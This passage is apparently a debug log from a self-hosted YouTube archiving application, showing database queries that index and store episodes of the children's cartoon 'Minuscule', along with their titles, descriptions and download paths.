db=34.0ms idle=375.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | Totem | S01E28\n00:09:35 | Insect High Velocity | S01E53\n00:14:14 | Hyperactive | S01E54\n00:18:55 | The Wild Bunch | S01E74\n00:23:34 | No Exit | S01E61\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #totem #ants #phone #anthill #Minuscule #nature #insects #ladybugs #animatedseries #cartoonsforkids #animationforkids #storytellingforkids", "Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids", "fd6373ce-024c-4445-9b67-df53f1cc25ce", "OWpYxqsIitY", 1724, false, 4, "https://www.youtube.com/watch?v=OWpYxqsIitY", 53, "/downloads/Miniscule Season 1/2025-04-24 Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids/Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids [OWpYxqsIitY].mp4", false, false, false, [], 1, ~U[2025-04-24 10:01:52Z], ~U[2025-12-14 07:50:30Z], ~U[2025-12-14 07:50:30Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | Totem | S01E28\n00:09:35 | Insect High Velocity | S01E53\n00:14:14 | Hyperactive | S01E54\n00:18:55 | The Wild Bunch | S01E74\n00:23:34 | No Exit | S01E61\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #totem #ants #phone #anthill #Minuscule #nature #insects #ladybugs #animatedseries #cartoonsforkids #animationforkids #storytellingforkids", "Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids", "OWpYxqsIitY", 1724, false, 4, "https://www.youtube.com/watch?v=OWpYxqsIitY", "/downloads/Miniscule Season 1/2025-04-24 Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids/Sleeping In 💤 Minuscule 🍃 35' Compilation 🍃Cartoon for Kids [OWpYxqsIitY].mp4", false, ~U[2025-04-24 10:01:52Z]] 00:50:30.055 [debug] QUERY OK source="sources" db=0.4ms idle=409.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:30.056 [debug] QUERY OK source="media_profiles" db=0.4ms idle=38.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:30.057 [debug] QUERY OK source="media_items" db=0.4ms idle=38.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89011] 00:50:30.057 [debug] Current batch of media processed. Will check again in 1000ms 00:50:31.058 [debug] Current batch of media processed. Will check again in 1000ms 00:50:31.134 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:32.059 [debug] Current batch of media processed. Will check again in 1000ms 00:50:33.060 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Catapult | S01E27\n00:09:31 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Catapult #jump #insects #Minuscule #nature #ladybugs #animatedseries", "duration" => 888, "filename" => "/downloads/Miniscule Season 1/2025-04-19 Hiccups | Minuscule 🍃15' Compilation/Hiccups | Minuscule 🍃15' Compilation [wUz3vq87T1Y].mkv", "id" => "wUz3vq87T1Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wUz3vq87T1Y", "playlist_index" => 54, "timestamp" => 1745085660, "title" => "Hiccups | Minuscule 🍃15' Compilation", "upload_date" => "20250419"} 00:50:33.061 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1415.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:33.062 [debug] QUERY OK source="sources" db=0.4ms idle=1416.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:33.064 [debug] QUERY OK source="media_items" db=1.0ms idle=1417.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 18:01:00Z], 4] 00:50:33.067 [debug] QUERY OK source="media_items" db=2.1ms idle=671.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Catapult | S01E27\n00:09:31 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Catapult #jump #insects #Minuscule #nature #ladybugs #animatedseries", "Hiccups | Minuscule 🍃15' Compilation", "992239ab-4f68-4b48-892e-cc55f03681b7", "wUz3vq87T1Y", 888, false, 4, "https://www.youtube.com/watch?v=wUz3vq87T1Y", 54, "/downloads/Miniscule Season 1/2025-04-19 Hiccups | Minuscule 🍃15' Compilation/Hiccups | Minuscule 🍃15' Compilation [wUz3vq87T1Y].mkv", false, false, false, [], 1, ~U[2025-04-19 18:01:00Z], ~U[2025-12-14 07:50:33Z], ~U[2025-12-14 07:50:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Hiccups | S01E26\n00:04:44 | Catapult | S01E27\n00:09:31 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#hiccups #grasshopper #jumps #mechanics #Catapult #jump #insects #Minuscule #nature #ladybugs #animatedseries", "Hiccups | Minuscule 🍃15' Compilation", "wUz3vq87T1Y", 888, false, 4, "https://www.youtube.com/watch?v=wUz3vq87T1Y", "/downloads/Miniscule Season 1/2025-04-19 Hiccups | Minuscule 🍃15' Compilation/Hiccups | Minuscule 🍃15' Compilation [wUz3vq87T1Y].mkv", false, ~U[2025-04-19 18:01:00Z]] 00:50:33.068 [debug] QUERY OK source="sources" db=0.4ms idle=422.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:33.069 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:33.070 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89012] 00:50:33.070 [debug] Current batch of media processed. Will check again in 1000ms 00:50:34.071 [debug] Current batch of media processed. Will check again in 1000ms 00:50:35.072 [debug] Current batch of media processed. Will check again in 1000ms 00:50:36.073 [debug] Current batch of media processed. Will check again in 1000ms 00:50:37.074 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | Out Of A Tin Can | S01E65\n00:09:16 | O Tannenbaum | S01E71\n00:13:55 | A Gust Of Wind | S01E13\n00:18:37 | United We Stand | S01E23\n00:23:04 | Dung Beetle Blues | S01E42\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #spider #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1704, "filename" => "/downloads/Miniscule Season 1/2025-04-05 Quiet! | Minuscule 🍃 35' Compilation/Quiet! | Minuscule 🍃 35' Compilation [yca-oxPNnbs].mp4", "id" => "yca-oxPNnbs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yca-oxPNnbs", "playlist_index" => 55, "timestamp" => 1743876054, "title" => "Quiet! | Minuscule 🍃 35' Compilation", "upload_date" => "20250405"} 00:50:37.075 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=673.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:37.076 [debug] QUERY OK source="sources" db=0.4ms idle=430.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:37.078 [debug] QUERY OK source="media_items" db=1.0ms idle=431.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-05 18:00:54Z], 4] 00:50:37.081 [debug] QUERY OK source="media_items" db=2.3ms idle=433.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | Out Of A Tin Can | S01E65\n00:09:16 | O Tannenbaum | S01E71\n00:13:55 | A Gust Of Wind | S01E13\n00:18:37 | United We Stand | S01E23\n00:23:04 | Dung Beetle Blues | S01E42\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #spider #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 35' Compilation", "f673c8bb-8bdd-4e39-a26c-579270c9f19a", "yca-oxPNnbs", 1704, false, 4, "https://www.youtube.com/watch?v=yca-oxPNnbs", 55, "/downloads/Miniscule Season 1/2025-04-05 Quiet! | Minuscule 🍃 35' Compilation/Quiet! | Minuscule 🍃 35' Compilation [yca-oxPNnbs].mp4", false, false, false, [], 1, ~U[2025-04-05 18:00:54Z], ~U[2025-12-14 07:50:37Z], ~U[2025-12-14 07:50:37Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Quiet! | S01E60\n00:04:41 | Out Of A Tin Can | S01E65\n00:09:16 | O Tannenbaum | S01E71\n00:13:55 | A Gust Of Wind | S01E13\n00:18:37 | United We Stand | S01E23\n00:23:04 | Dung Beetle Blues | S01E42\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Quiet #Interior #Faucet #Spider #spider #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Quiet! | Minuscule 🍃 35' Compilation", "yca-oxPNnbs", 1704, false, 4, "https://www.youtube.com/watch?v=yca-oxPNnbs", "/downloads/Miniscule Season 1/2025-04-05 Quiet! | Minuscule 🍃 35' Compilation/Quiet! | Minuscule 🍃 35' Compilation [yca-oxPNnbs].mp4", false, ~U[2025-04-05 18:00:54Z]] 00:50:37.082 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=436.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:37.083 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:37.084 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89013] 00:50:37.084 [debug] Current batch of media processed. Will check again in 1000ms 00:50:38.085 [debug] Current batch of media processed. Will check again in 1000ms 00:50:39.086 [debug] Current batch of media processed. Will check again in 1000ms 00:50:40.087 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | Caterpillar Dream | S01E20\n00:09:38 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "duration" => 896, "filename" => "/downloads/Miniscule Season 1/2025-04-03 Narcissus🪞Minuscule 🍃 15' Compilation/Narcissus🪞Minuscule 🍃 15' Compilation [uawfvkaEwGs].mkv", "id" => "uawfvkaEwGs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uawfvkaEwGs", "playlist_index" => 56, "timestamp" => 1743674492, "title" => "Narcissus🪞Minuscule 🍃 15' Compilation", "upload_date" => "20250403"} 00:50:40.088 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1442.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:40.089 [debug] QUERY OK source="sources" db=0.4ms idle=1443.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:40.091 [debug] QUERY OK source="media_items" db=1.0ms idle=1444.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-03 10:01:32Z], 4] 00:50:40.094 [debug] QUERY OK source="media_items" db=2.3ms idle=1446.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | Caterpillar Dream | S01E20\n00:09:38 | The Good Education | S01E56\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #dream #insects #fly #Minuscule #nature #ladybugs #animatedseries", "Narcissus🪞Minuscule 🍃 15' Compilation", 